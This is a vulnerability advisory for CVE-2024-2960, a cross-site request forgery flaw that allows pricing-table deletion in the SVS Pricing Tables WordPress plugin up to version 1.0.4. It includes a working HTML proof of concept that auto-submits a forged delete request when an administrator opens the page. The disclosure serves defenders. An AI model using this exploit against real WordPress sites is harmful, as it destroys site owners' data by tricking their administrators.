Description

The SVS Pricing Tables plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.4. This is due to missing or incorrect nonce validation on the deletePricingTable() function. This makes it possible for unauthenticated attackers to delete pricing tables via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

Severity

4.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Affected Version

<= 1.0.4

PoC :

<html>
  <!-- eneriiiii <3 -->
  <body>
    <form action="http://[ASSETS]/wp-admin/admin.php">
      <input type="hidden" name="page" value="svs&#95;pricing&#95;tables" />
      <input type="hidden" name="Action" value="pricingTableDelete" />
      <input type="hidden" name="ID" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Reference

  • https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/svs-pricing-tables/svs-pricing-tables-104-cross-site-request-forgery-to-pricing-table-deletion
  • https://www.cve.org/CVERecord?id=CVE-2024-2960